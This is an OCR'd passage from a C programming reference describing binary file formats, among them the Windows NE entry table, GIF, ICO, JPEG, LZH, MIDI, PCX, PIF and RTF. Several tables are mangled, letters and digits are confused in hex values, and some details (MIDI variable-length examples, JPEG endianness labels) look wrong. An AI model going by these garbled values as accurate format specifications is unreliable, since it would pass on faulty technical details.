The entry table contains bundles of entry points from the executable file (the linker generates each bundle). The numbering system for these ordinal values is 1 -based--that is, the ordinal value corresponding to the first entry point is 1 . The linker generates the densest possible bundles under the restriction that it cannot reorder the entry points. This restriction is necessary because other executable files may refer to entry points within a given bundle by their ordinal values. The entry-table data is organized by bundle, each of which begins with a 2 -byte header. The first byte of the header specifies the number of entries in the bundle (a value of 00 h designates the end of the table). The second byte specifies whether the corresponding segment is movable or fixed. If the value in this byte is OFFh, the segment is movable. If the value in this byte is OFEh, the entry does not refer to a segment but refers, instead, to a constant defined within the module. If the value in this byte is neither OFFh nor OFEh, it is a segment index.

For movable segments, each entry consists of 6 bytes and has the following form:

\section*{Location}

Description
00h \(\quad\) Specifies a byte value. This value can be a combination of the following bits:
\begin{tabular}{|l|l|}
\hline Bit(s) & Meaning \\
\hline 0 & If this bit is set, the entry is exported. \\
\hline 1 & If this bit is set, the segment uses a global (shared) data segment. \\
\hline \(3-7\) & \begin{tabular}{l} 
If the executable file contains code that performs ring transitions, these bits specify \\
the number of words that compose the stack. At the time of the ring transition, these \\
words must be copied from one ring to the other.
\end{tabular} \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline 01 h & Specifies an int 3fh instruction. \\
\hline 03 h & Specifies the segment number. \\
\hline 04 h & Specifies the segment offset. \\
\hline
\end{tabular}

For fixed segments, each entry consists of 3 bytes and has the following form:
\begin{tabular}{|l|l|}
\hline Location & Description \\
\hline 00 h & Specifies a byte value. This value can be a combination of the following bits: \\
\hline
\end{tabular}

\section*{796 A to Z of C}
\begin{tabular}{|l|l|}
\hline Bit(s) & Meaning \\
\hline 0 & If this bit is set, the entry is exported. \\
\hline 1 & \begin{tabular}{l} 
If this bit is set, the entry uses a global (shared) data segment. (This may be set only \\
for SINGLEDATA library modules.)
\end{tabular} \\
\hline \(3-7\) & \begin{tabular}{l} 
If the executable file contains code that performs ring transitions, these bits specify \\
the number of words that compose the stack. At the time of the ring transition, these \\
words must be copied from one ring to the other.
\end{tabular} \\
\hline
\end{tabular}

\section*{01h \(\quad\) Specifies an offset.}

\section*{Nonresident-Name Table}

The nonresident-name table contains strings that identify exported functions in the executable file. As the name implies, these strings are not always resident in system memory and are discardable. The nonresident-name strings are case-sensitive; they are not null-terminated. The following list summarizes the values found in the nonresident-name table (the specified locations are relative to the beginning of each entry):
\begin{tabular}{|l|l|}
\hline Location & Description \\
\hline 00 h & \begin{tabular}{l} 
Specifies the length, in bytes, of a string. If this byte is 00h, there are no more \\
strings in the table.
\end{tabular} \\
\hline \(01 \mathrm{~h}-\mathrm{xxh}\) & \begin{tabular}{l} 
Specifies the nonresident-name text. This string is case-sensitive and is not null- \\
terminated.
\end{tabular} \\
\hline \(\mathrm{xx}+01 \mathrm{~h}\) & Specifies an ordinal number that is an index to the entry table. \\
\hline
\end{tabular}

The first name that appears in the nonresident-name table is the module description string (which was specified in the module-definition file).

\section*{Code Segments and Relocation Data}

Code and data segments follow the Windows header. Some of the code segments may contain calls to functions in other segments and may, therefore, require relocation data to resolve those references. This relocation data is stored in a relocation table that appears immediately after the code or data in the segment. The first 2 bytes in this table specify the number of relocation items the table contains. A relocation item is a collection of bytes specifying the following information:
\begin{tabular}{|l|}
\hline Address type (segment only, offset only, segment and offset) \\
\hline Relocation type (internal reference, imported ordinal, imported name) \\
\hline Segment number or ordinal identifier (for internal references) \\
\hline Reference-table index or function ordinal number (for imported ordinals) \\
\hline Reference-table index or name-table offset (for imported names) \\
\hline
\end{tabular}

Each relocation item contains 8 bytes of data, the first byte of which specifies one of the following relocation-address types:
\begin{tabular}{|l|l|}
\hline Value & Meaning \\
\hline 0 & Low byte at the specified offset \\
\hline 2 & 16 -bit selector \\
\hline 3 & 32 -bit pointer \\
\hline 5 & 16-bit offset \\
\hline 11 & 48 -bit pointer \\
\hline 13 & 32 -bit offset \\
\hline
\end{tabular}

The second byte specifies one of the following relocation types:
\begin{tabular}{|l|l|}
\hline Value & Meaning \\
\hline 0 & Internal reference \\
\hline 1 & Imported ordinal \\
\hline 2 & Imported name \\
\hline 3 & OSFIXUP \\
\hline
\end{tabular}

The third and fourth bytes specify the offset of the relocation item within the segment. If the relocation type is imported ordinal, the fifth and sixth bytes specify an index to a module's reference table and the seventh and eighth bytes specify a function ordinal value. If the relocation type is imported name, the fifth and sixth bytes specify an index to a module's reference table and the seventh and eighth bytes specify an offset to an importedname table. If the relocation type is internal reference and the segment is fixed, the fifth byte specifies the segment number, the sixth byte is zero, and the seventh and eighth bytes specify an offset to the segment. If the relocation type is internal reference and the segment is movable, the fifth byte specifies OFFh, the sixth byte is zero; and the seventh and eighth bytes specify an ordinal value found in the segment's entry table.

\subsection*{72.9 GIF}

The Graphics Interchange Format (tm) was created by Compuserve Inc. as a standard for the storage and transmission of raster-based graphics information, i.e. images. A GIF file may contain several images, which are to be displayed overlapping and without any delay betwenn the images. The image data itself is compressed using a LZW scheme. Please note that the LZW algorithm is patented by UniSys and that since Jan. 1995 royalties to Compuserve are due for every software that implements GIF images. The GIF file consists of a global GIF header, one or more image blocks and optionally some GIF extensions.

\section*{798 A to \(Z\) of \(C\)}
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & \begin{tabular}{l} 
Description \\
\hline 0000h
\end{tabular} \\
\hline char & \begin{tabular}{l} 
ID='GIF87a', ID='GIF89a' \\
This ID may be viewed as a version number
\end{tabular} \\
\hline 0006h & 1 & word & Image width \\
\hline 0008h & 1 & word & Image height \\
\hline 000Ah & 1 & byte & \begin{tabular}{l} 
bit mapped \\
\(0-2\) - bits per pixel -1 \\
3-reserved
\end{tabular} \\
\hline-6 - bits of color resolution \\
7 - Global color map follows image descriptor
\end{tabular}

The global color map immediately follows the screen descriptor and has the size ( \(2 * *\) BitsPerPixel), and has the RGB colors for each color index. 0 is none, 255 is full intensity. The bytes are stored in the following format :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & byte & Red component \\
\hline 0001 h & 1 & byte & Green component \\
\hline 0002 h & 1 & byte & Blue component \\
\hline
\end{tabular}

After the first picture, there may be more pictures attached in the file whic overlay the first picture or parts of the first picture. The Image Descriptor defines the actual placement and extents of the following image within the space defined in the Screen Descriptor. Each Image Descriptor is introduced by an image separator character. The role of the Image Separator is simply to provide a synchronization character to introduce an Image Descriptor, the image separator is defined as ",", 02Ch, Any characters encountered between the end of a previous image and the image separator character are to be ignored.

The format of the Image descriptor looks like this:
\begin{tabular}{|c|c|c|c|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & char & Image separator ID=',' \\
\hline 0001h & 1 & word & Left offset of image \\
\hline 0003h & 1 & word & Upper offset of image \\
\hline 0005h & 1 & word & Width of image \\
\hline 0007h & 1 & word & Height of image \\
\hline 0009h & 1 & byte & \begin{tabular}{l}
Palette description - bitmapped \\
0-2 - Number of bits per pixel-1 \\
3-5 - reserved (0) \\
6 - Interlaced / sequential image \\
7 - local / global color map, ignore bits 0-2
\end{tabular} \\
\hline
\end{tabular}

To provide for some possibility of an extension of the GIF files, a special extension block introducer can be added after the GIF data block. The block has the following structure:
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & char & ID \(=\) '!' \\
\hline 0001 h & 1 & byte & Extension ID \\
\hline 0002 h & \(?\) & rec & \\
\hline & 1 & word & Byte count \\
\hline & \(?\) & byte & Extra data \\
\hline\(? ? ? ? \mathrm{~h}\) & 1 & byte & Zero byte count - terminates extension block. \\
\hline
\end{tabular}

\subsection*{72.10 ICO}

An icon-resource file contains image data for icons used by Windows applications. The file consists of an icon directory identifying the number and types of icon images in the file, plus one or more icon images. The default filename extension for an icon-resource file is .ICO.

\section*{I con Directory}

Each icon-resource file starts with an icon directory. The icon directory, defined as an ICONDIR structure, specifies the number of icons in the resource and the dimensions and color format of each icon image. The ICONDIR structure has the following form:
```

typedef struct ICONDIR {
WORD idReserved;
WORD idType;
WORD idCount;
ICONDIRENTRY idEntries[1];
} ICONHEADER;

```

Following are the members in the ICONDIR structure:
\begin{tabular}{|l|l|}
\hline idReserved & Reserved; must be zero. \\
\hline idType & Specifies the resource type. This member is set to 1. \\
\hline idCount & Specifies the number of entries in the directory. \\
\hline idEntries & \begin{tabular}{l} 
Specifies an array of ICONDIRENTRY structures containing \\
information about individual icons. The idCount member \\
specifies the number of structures in the array.
\end{tabular} \\
\hline
\end{tabular}

The ICONDIRENTRY structure specifies the dimensions and color format for an icon. The structure has the following form:
```

struct IconDirectoryEntry {
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wPlanes;
WORD wBitCount;
DWORD dwBytesInRes;
DWORD dwlmageOffset;
};

```

\section*{800 A to \(Z\) of \(C\)}

Following are the members in the ICONDIRENTRY structure:
\begin{tabular}{|l|l|}
\hline bWidth & \begin{tabular}{l} 
Specifies the width of the icon, in pixels. Acceptable values \\
are 16, 32, and 64.
\end{tabular} \\
\hline bHeight & \begin{tabular}{l} 
Specifies the height of the icon, in pixels. Acceptable values \\
are 16, 32, and 64.
\end{tabular} \\
\hline bColorCount & \begin{tabular}{l} 
Specifies the number of colors in the icon. Acceptable values \\
are 2, 8, and 16.
\end{tabular} \\
\hline bReserved & Reserved; must be zero. \\
\hline wPlanes & Specifies the number of color planes in the icon bitmap. \\
\hline wBitCount & Specifies the number of bits in the icon bitmap. \\
\hline dwBytesInRes & Specifies the size of the resource, in bytes. \\
\hline dwlmageOffset & \begin{tabular}{l} 
Specifies the offset, in bytes, from the beginning of the file \\
to the icon image.
\end{tabular} \\
\hline
\end{tabular}

\section*{I con I mage}

Each icon-resource file contains one icon image for each image identified in the icon directory. An icon image consists of an icon-image header, a color table, an XOR mask, and an AND mask. The icon image has the following form:
\begin{tabular}{|ll|}
\hline BITMAPINFOHEADER & icHeader; \\
RGBQUAD & icColors[]; \\
BYTE & icXOR[]; \\
BYTE & icAND[]; \\
\hline
\end{tabular}

The icon-image header, defined as a BITMAPINFOHEADER structure, specifies the dimensions and color format of the icon bitmap. Only the biSize through biBitCount members and the biSizelmage member are used. All other members (such as biCompression and biClrlmportant) must be set to zero. The color table, defined as an array of RGBQUAD structures, specifies the colors used in the XOR mask. As with the color table in a bitmap file, the biBitCount member in the icon-image header determines the number of elements in the array. For more information about the color table, see Section "Bitmap-File Formats."

The XOR mask, immediately following the color table, is an array of BYTE values representing consecutive rows of a bitmap. The bitmap defines the basic shape and color of the icon image. As with the bitmap bits in a bitmap file, the bitmap data in an icon-resource file is organized in scan lines, with each byte representing one or more pixels, as defined by the color format. For more information about these bitmap bits, see Section "Bitmap-File Formats."

The AND mask, immediately following the XOR mask, is an array of BYTE values, representing a monochrome bitmap with the same width and height as the XOR mask. The array is organized in scan lines, with each byte representing 8 pixels.

When Windows draws an icon, it uses the AND and XOR masks to combine the icon image with the pixels already on the display surface. Windows first applies the AND mask by using a
bitwise AND operation; this preserves or removes existing pixel color. Windows then applies the XOR mask by using a bitwise XOR operation. This sets the final color for each pixel.

The following illustration shows the XOR and AND masks that create a monochrome icon (measuring 8 pixels by 8 pixels) in the form of an uppercase K:

\section*{Windows I con Selection}

Windows detects the resolution of the current display and matches it against the width and height specified for each version of the icon image. If Windows determines that there is an exact match between an icon image and the current device, it uses the matching image. Otherwise, it selects the closest match and stretches the image to the proper size.

If an icon-resource file contains more than one image for a particular resolution, Windows uses the icon image that most closely matches the color capabilities of the current display. If no image matches the device capabilities exactly, Windows selects the image that has the greatest number of colors without exceeding the number of display colors. If all images exceed the color capabilities of the current display, Windows uses the icon image with the least number of colors.

\subsection*{72.11 JPEG}

Format of a JPEG block (all data is in Motorola byte order) :
\begin{tabular}{|l|c|c|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & word & \begin{tabular}{l} 
Block ID \\
0FFD8h - JPEG signature block(4 chars="J FI F") \\
0FFC0h - JPEG color information \\
0FFC1h - JPEG color information
\end{tabular} \\
\hline 0002 h & 1 & word & Block size in bytes, without ID word. \\
\hline
\end{tabular}

Format of JPEG color information (motorola byte order) :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & byte & \(1=\) Grayscale image \\
\hline 0001 h & 1 & word & Height \\
\hline 0003 h & 1 & word & Width \\
\hline
\end{tabular}

Another try for JPEG identification could be this one :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & dword & \begin{tabular}{l} 
ID=FFD9FFEOh \\
ID=FFD8FFEOh \\
Big endian JPEG file (I ntel) \\
ID=E0FFD8FFh \\
Little endian JPEG file (Motorola)
\end{tabular} \\
\hline
\end{tabular}

\section*{802 A to \(Z\) of \(C\)}

\subsection*{72.12 LZH}

The LHArc/LHA archiver is a multi platform archiver made by Haruyasu Yoshizaki, which has a relatively good compression. It uses more or less the same technology like the ZIP programs by Phil Katz. There was a hack named "ICE", which had only the graphic characters displayed on decompression changed.
\begin{tabular}{|c|c|c|c|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & byte & Size of archived file header \\
\hline 0001h & 1 & byte & Checksum of remaining bytes \\
\hline 0002h & 3 & char & \[
\begin{aligned}
& I D='-l h^{\prime} \\
& I D='-I z^{\prime}
\end{aligned}
\] \\
\hline 0005h & 1 & char & Compression methods used (see table 0005) \\
\hline 0006h & 1 & char & ID='-' \\
\hline 0007h & 1 & dword & Compressed size \\
\hline 000Bh & 1 & dword & Uncompressed size \\
\hline 000Fh & 1 & dword & Original file date/time (see table 0009) \\
\hline 0013h & 1 & word & File attribute \\
\hline 0015h & 1 & byte & Filename / path length in bytes ="LEN" \\
\hline 0016h & "LEN" & char & Filename / path \\
\hline \[
\begin{aligned}
& \hline \text { 0018h } \\
& +" L E N "
\end{aligned}
\] & 1 & word & CRC-16 of original file \\
\hline
\end{tabular}
(Table 0005)
LHArc compression types
"0" - No compression
"1" - LZW, 4K buffer, Huffman for upper 6 bits of position
"2" - unknown
"3" - unknown
"4" - LZW, Arithmetic Encoding
"5" - LZW, Arithmetic Encoding
"s" - LHa 2.x archive?
" \(\\) " - LHa 2.x archive?
"d" - LHa 2.x archive?

\subsection*{72.13 MIDI}

The MIDI file format is used to store MIDI song data on disk. The discussed version of the MIDI file spec is the approved MIDI Manufacturers' Associations format version 0.06 of \((3 / 88)\). The contact address is listed in the adresses file. Version 1.0 is technically identical but the description has been rewritten. The description was made by Dave Oppenheim, most of the text was taken right out of his document.

MIDI files contain one or more MIDI streams, with time information for each event. Song, sequence, and track structures, tempo and time signature information, are all
supported. Track names and other descriptive information may be stored with the MIDI data. This format supports multiple tracks and multiple sequences so that if the user of a program which supports multiple tracks intends to move a file to another one, this format can allow that to happen.
The MIDI files are block oriented files, currently only 2 block types are defined, header and track data. Opposed to the IFF and RIFF formats, no global header is given, so that the validation must be done by adding the different block sizes.
A MIDI file always starts with a header block, and is followed by one or more track block.
The format of the header block :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 4 & char & ID='MThd' \\
\hline 0004 h & 1 & dword & Length of header data (=6) \\
\hline 0008 h & 1 & word & \begin{tabular}{l} 
Format specification \\
0 - one, single multi- channel track \\
1 - one or more simultaneous tracks \\
2 - one or more sequentially independent \\
single-track patterns
\end{tabular} \\
\hline 000Ah & 1 & word & Number of track blocks in the file \\
\hline 000Ch & 1 & int & \begin{tabular}{l} 
Unit of delta-time values. \\
If negative : \\
Absolute of high byte : \\
Number of frames per second. \\
Low byte : \\
Resolution within one frame \\
If positive, division of a quarter-note.
\end{tabular} \\
\hline
\end{tabular}

\section*{The track data format :}

The MTrk block type is where actual song data is stored. It is simply a stream of MIDI events (and non-MIDI events), preceded by delta-time values.

Some numbers in MTrk blocks are represented in a form called a variable-length quantity. These numbers are represented 7 bits per byte, most significant bits first. All bytes except the last have bit 7 set, and the last byte has bit 7 clear. If the number is between 0 and 127, it is thus represented exactly as one byte. Since this explanation might not be too clear, some examples:
\begin{tabular}{|c|l|}
\hline Number (hex) & Representation (hex) \\
\hline 00000000 & 00 \\
00000040 & 40 \\
0000007 F & 7 F \\
00000080 & 8100 \\
00002000 & C0 00 \\
00003FFF & FF 7F \\
001FFFFF & FF FF 7F \\
08000000 & C0 80 80 00 \\
0FFFFFFF & FF FF FF 7F \\
\hline
\end{tabular}

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The largest number which is allowed is OFFFFFFF so that the variable-length representation must fit in 32 bits in a routine to write variable-length numbers.

Each track block contains one or more MIDI events, each event consists of a delta-time and the number of the event. The delta-time is stored as a variable-length quantity and represents the time to delay before the following event. A delta-time of 0 means, that the event occurs simultaneous with the previous event or occurs right at the start of a track. The delta-time unit is specified in the header block.

Format of track information block :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 4 & char & ID='MTrk' \\
\hline 0004 h & 1 & dword & Length of header data \\
\hline 0008 h & \(?\) & rec & <delta-time>, <event> \\
\hline
\end{tabular}

Three types of events are defined, MIDI event, system exclusive event and meta event. The first event in a file must specify status; delta-time itself is not an event. Meta events are non-MIDI informations.

The format of the meta event :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & byte & ID=FFh \\
\hline 0001 h & 1 & byte & Type (<=128) \\
\hline 0002 h & \(?\) & \(?\) & \begin{tabular}{l} 
Length of the data, 0 if no data \\
stored as variable length quantity
\end{tabular} \\
\hline & \(?\) & byte & Data \\
\hline
\end{tabular}

A few meta-events are defined. It is not required for every program to support every metaevent. Meta-events initially defined include:

FF 0002 ssss Sequence Number
This optional event, which must occur at the beginning of a track, before any nonzero delta-times, and before any transmittable MIDI events, specifies the number of a sequence.

FF 01 len text Text Event
Any amount of text describing anything. It is a good idea to put a text event right at the beginning of a track, with the name of the track, a description of its intended orchestration, and any other information which the user wants to put there. Programs on a computer which does not support non-ASCII characters should ignore those characters with the hi-bit set. Meta event types 01 through 0 F are reserved for various types of text events, each of which meets the specification of text events(above) but is used for a different purpose:

FF 02 len text Copyright Notice
Contains a copyright notice as printable ASCII text. The notice should contain the characters (C), the year of the copyright, and the owner of the copyright. If several pieces of music are in the same MIDI file, all of the copyright notices should be placed together in this event so that
it will be at the beginning of the file. This event should be the first event in the first track block, at time 0 .

FF 03 len text Sequence/Track Name
If in a format 0 track, or the first track in a format 1 file, the name of the sequence. Otherwise, the name of the track.

FF 04 len text Instrument Name
A description of the type of instrumentation to be used in that track.
FF 05 len text Lyric
A lyric to be sung. Generally, each syllable will be a separate lyric event which begins at the event's time.

FF 06 len text Marker
Normally in a format 0 track, or the first track in a format 1 file. The name of that point in the sequence, such as a rehearsal letter or section name ("First Verse", etc.).

FF 07 len text Cue Point
A description of something happening on a film or video screen or stage at that point in the musical score ("Car crashes into house", "curtain opens", "she slaps his face", etc.)

FF 2F 00 End of Track
This event is not optional. It is included so that an exact ending point may be specified for the track, so that it has an exact length, which is necessary for tracks which are looped or concatenated.

FF 5103 tttttt Set Tempo, in microseconds per MIDI quarter-note
This event indicates a tempo change. Another way of putting "microseconds per quarter-note" is "24ths of a microsecond per MIDI clock". Representing tempos as time per beat instead of beat per time allows absolutely exact dword-term synchronization with a time-based sync protocol such as SMPTE time code or MIDI time code. This amount of accuracy provided by this tempo resolution allows a four-minute piece at 120 beats per minute to be accurate within 500 usec at the end of the piece. Ideally, these events should only occur where MIDI clocks would be located Q this convention is intended to guarantee, or at least increase the likelihood, of compatibility with other synchronization devices so that a time signature/tempo map stored in this format may easily be transferred to another device.

\section*{FF 5405 hr mn se fr ff SMPTE Offset}

This event, if present, designates the SMPTE time at which the track block is supposed to start. It should be present at the beginning of the track, that is, before any nonzero delta-times, and before any transmittable MIDI events. The hour must be encoded with the SMPTE format, just as it is in MIDI Time Code. In a format 1 file, the SMPTE Offset must be stored with the tempo map, and has no meaning in any of the other tracks. The ff field contains fractional frames, in 100ths of a frame, even in SMPTE-based tracks which specify a different frame subdivision for delta-times.

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FF 5804 nn dd cc bb Time Signature
The time signature is expressed as four numbers. nn and dd represent the numerator and denominator of the time signature as it would be notated. The denominator is a negative power of two: 2 represents a quarter-note, 3 represents an eighth-note, etc. The cc parameter expresses the number of MIDI clocks in a metronome click. The bb parameter expresses the number of notated 32nd-notes in a MIDI quarter- note ( 24 MIDI Clocks).

FF 5902 sf mi Key Signature
```

        sf = -7: 7 flats
    ```
    sf =-1: 1 flat
    \(\mathrm{sf}=0\) : key of C
    sf = 1: 1 sharp
    sf = 7: 7 sharps
    \(\mathrm{mi}=0\) : major key
    \(\mathrm{mi}=1\) : minor key

FF 7F len data Sequencer-Specific Meta-Event
Special requirements for particular sequencers may use this event type: the first byte or bytes of data is a manufacturer ID. However, as this is an interchange format, growth of the spec proper is preferred to use of this event type. This type of event may be used by a sequencer which elects to use this as its only file format; sequencers with their established feature-specific formats should probably stick to the standard features when using this format.

The system exclusive event is used as an escape to specify arbitrary bytes to be transmitted. The system exclusive event has two forms, to compensate for some manufacturer-specific modes, the F7h event is used if a FOh is to be transmitted. Each system exclusive event must end with an F7h event.

The format of a system exclusive event :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & byte & ID \(=\) FOh,ID \(=\) F7h \\
\hline 0001 h & \(?\) & \(?\) & Length as variable length qty. \\
\hline & \(?\) & byte & bytes to be transmitted \\
\hline
\end{tabular}

\subsection*{72.14 PCX}

The PCX files are created by the programs of the ZSoft Paintbrush family and the FRIEZE package by the same manufacturer. A PCX file contains only one image, the data for this image and possibly palette information for this image. The encoding scheme used for PCX encoding is a simple RLE mechanism, see ALGRTHMS.txt for further information. A PCX image is stored from the upper scan line to the lower scan line.

The size of a decoded scan line is always an even number, thus one additional byte should always be allocated for the decoding buffer.

The header has a fixed size of 128 bytes and looks like this :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & byte & \begin{tabular}{l} 
Manufacturer. \\
\(10=\) ZSoft
\end{tabular} \\
\hline 0001 h & 1 & byte & \begin{tabular}{l} 
Version information \\
\(0=\) PC Paintbrush v2.5 \\
\(2=\) PC Paintbrush v2.8 w palette information \\
\(3=\) PC Paintbrush v2.8 w/o palette information \\
\(4=\) PC Paintbrush/Windows \\
\(5=\) PC Paintbrush v3.0
\end{tabular} \\
\hline 0002h & 1 & byte & Encoding scheme, 1 = RLE, none other known \\
\hline 0003h & 1 & byte & Bits per pixel \\
\hline 0004h & 1 & word & left margin of image \\
\hline 0006h & 1 & word & upper margin of image \\
\hline 0008h & 1 & word & right margin of image \\
\hline 000Ah & 1 & word & \begin{tabular}{l} 
Iower margin of image \\
\hline 000Ch
\end{tabular} 11 \\
word & Horizontal DPI resolution \\
\hline 000Eh & 1 & word & Vertical DPI resolution
\end{tabular}\(|\)\begin{tabular}{l} 
Color palette setting for 16-color images \\
0010h RGB triplets
\end{tabular}

The space needed to decode a single scan line is "NCP"*"NBS" bytes, the last byte may be a junk byte which is not displayed. After the image data, if the version number is 5 (or greater?) there possibly is a VGA color palette. The color ranges from 0 to 255,0 is zero intensity, 255 is full intensity. The palette has the following format:
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & byte & VGA palette ID (=0Ch) \\
\hline 0001 h & 768 & byte & RGB triplets with palette information \\
\hline
\end{tabular}

\subsection*{72.15 PIF}

The Program Information Files have stayed a long time with the PC. They origi- nated from IBMs Topview, were carried on by DoubleView and DesqView, and today they are used by Windows and Windows NT. The PIF files store additional information about executables that are foreign to the running multitasking system such as ressource usage, keyboard and mouse virtualization and hotkeys. The original (Topview) PIF had a size of

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171h bytes, after that, there come the various extensions for the different operating environments. The different extensions are discussed in their own sections.
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & byte & reserved \\
\hline 0001h & 1 & byte & Checksum \\
\hline 0002 h & 30 & char & Title for the window \\
\hline 0020 h & 1 & word & Maximum memory reserved for program \\
\hline 0022h & 1 & word & Minimum memory reserved for program \\
\hline 0024 h & 63 & char & Path and filename of the program \\
\hline 0063h & 1 & byte & \begin{tabular}{l}
\(0-\) Do not close window on exit \\
other - Close window on exit
\end{tabular} \\
\hline 0064h & 1 & byte & Default drive (0=A: ??) \\
\hline 0065h & 64 & char & Default startup directory \\
\hline 00A5h & 64 & char & Parameters for program \\
\hline 00E5h & 1 & byte & Initial screen mode, 0 equals mode 3 ? \\
\hline 00E6h & 1 & byte & Text pages to reserve for program \\
\hline 00E7h & 1 & byte & First interrupt used by program \\
\hline 00E8h & 1 & byte & Last interrupt used by program \\
\hline 00E9h & 1 & byte & Rows on screen \\
\hline 00EAh & 1 & byte & Columns on screen \\
\hline 00EBh & 1 & byte & X position of window \\
\hline 00ECh & 1 & byte & Y position of window \\
\hline 00EDh & 1 & word & System memory ?? whatever \\
\hline 00EFh & 64 & char & ?? Shared program path \\
\hline 012Fh & 64 & char & ?? Shared program data file \\
\hline 016Fh & 1 & word & Program flags \\
\hline
\end{tabular}

\subsection*{72.16 RTF}

RTF text is a form of encoding of various text formatting properties, document structures, and document properties, using the printable ASCII character set. Special characters can be also thus encoded, although RTF does not prevent the utilization of character codes outside the ASCII printable set. The main encoding mechanism of "control words" provides a name space that may be later used to expand the realm of RTF with macros, programming, etc.

\section*{1. BASIC I NGREDI ENTS}

Control words are of the form:
\lettersequence <delimiter> where <delimiter>. is:
. a space: the space is part of the control word.
. a digit or - means that a parameter follows. The following digit sequence is then delimited by a space or any other non-letter-or-digit as for control words.
. any other non-letter-or digit: terminates the control word, but is not a part of the control word.

By "letter:, here we mean just the upper and lower case ASCII letters.
Control symbols consist of a \character followed by a single non-letter. They require no further delimiting.

Notes: control symbols are compact, but there are not too many of them. The number of possible control words are not limited.

The parameter is partially incorporated in control symbols, so that a program that does not understand a control symbol can recognize and ignore the corresponding parameter as well.

In addition to control words and control symbols, there are also the braces:
\{ group start, and
\} group end. The text grouping will be used for formatting
and to delineate document structure - such as the footnotes, headers, title, and so on. The control words, control symbols, and braces constitute control information. All other characters in RTF text constitute "plain text".

Since the characters \(\backslash\), \(\{\), and \(\}\) have specific uses in RTF, the control symbols \(\backslash \backslash, \backslash\{\), and \(\backslash\}\) are provided to express the corresponding plain characters.

\section*{2. WHAT RTF TEXT MEANS (SEMANTICS)}

The reader of a RTF stream will be concerned with:
Separating control information from plain text. Acting on control information. This is designed to be a relatively simple process, as described below. Some control information just contributes special characters to the plain text stream. Other information serves to change the "program state" which includes properties of the document as a whole and also a stack of "group states" that apply to parts. Note that the group state is saved by the \{ brace and is restored by the \} brace. The current group state specifies:
1. the "destination" or part of the document that the plain text is building up.
2. the character formatting properties - such as bold or italic.
3. the paragraph formatting properties - such as justified.
4. the section formatting properties - such as number of columns.

Collecting and properly disposing of the remaining "plain text" as directed by the current group state.

In practice the RTF reader will proceed as follows:

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0. read next char
1. if \(=\{\)
stack current state. current state does not change. continue.
2. if \(=\}\)
unstack current state from stack. this will change the state in general.
3. if \(=\backslash\)
collect control word/control symbol and parameter, if any. look up word/symbol in symbol table (a constant table) and act according to the description there. The different actions are listed below. Parameter is left available for use by the action.

Leave read pointer before or after the delimiter, as appropriate.
After the action, continue.
4. otherwise, write "plain text" character to current destination using current formatting properties.

Given a symbol table entry, the possible actions are as follows:
A. Change destination:
change destination to the destination described in the entry.
Most destination changes are legal only immediately after a \(\{\).
Other restrictions may also apply (for example, footnotes may not be nested.)
B. Change formatting property:

The symbol table entry will describe the property and whether the parameter is required.
C. Special character:

The symbol table entry will describe the character code.. goto 4.
D. End of paragraph

This could be viewed as just a special character.
E. End of section

This could be viewed as just a special character.
F. Ignore

\section*{3. SPECI AL CHARACTERS}

The special characters are explained as they exist in Mac Word. Clearly, other characters may be added for interchange with other programs. If a character name is not recognized by a reader, according to the rules described above, it will be simply ignored.
\begin{tabular}{|l|l|}
\hline \chpgn & current page number (as in headers) \\
\hline \chftn & auto numbered footnote reference(footnote to follow in a group) \\
\hline Ichpict & placeholder character for picture (picture to follow in a group) \\
\hline Ichdate & current date (as in headers) \\
\hline Ichtime & current time (as in headers) \\
\hline \I & formula character \\
\hline I~ & non-breaking space \\
\hline \- & non-required hyphen \\
\hline \} \(&{\text { non-breaking hyphen }} \\
{\hline \text { \page }} &{\text { required page break }} \\
{\hline \text { \line }} &{\text { required line break (no paragraph break) }} \\
{\hline \text { \par }} &{\text { end of paragraph. }} \\
{\hline \text { Isect }} &{\text { end of section and end of paragraph. }} \\
{\hline \text { Itab }} &{\text { same as ASCII 9 }} \\
{\hline}\)
\end{tabular}

For simplicity of operation, the ASCII codes 9 and 10 will be accepted as \tab and \(\backslash\) par respectively. ASCII 13 will be ignored. The control code \(\backslash<10>\) will be ignored. It may be used to include "soft" carriage returns for easier readability but which will have no effect on the interpretation.

\section*{4. DESTI NATIONS}

The change of destination will reset all properties to default. Changes are legal only at the beginning of a group (by group here we mean the text and controls enclosed in braces.)
\begin{tabular}{|c|c|}
\hline \rtf<param> & The destination is the document. The parameter is the version number of the writer. This destination preceded by \{ the beginnings of RTF documents and the corresponding \} marks the end. Legal only once after the initial \{. Small scale interchange of RTF where other methods for marking the end of string are available, as in a string constant, need not include this identification but will start with this destination as the default. \\
\hline \pict & The destination is a picture. The group must immediately follow a \chpict character. The plain text describes the picture as a hex dump (string of characters \(0,1, \ldots 9\), a, \(\ldots\), e, f.) \\
\hline \footnote & The destination is a footnote text. The group must immediately follow the footnote reference character(s). \\
\hline \header & The destination is the header text for the current section. The group must precede the first plain text character in the section. \\
\hline \headerl & Same as above, but header for left-hand pages. \\
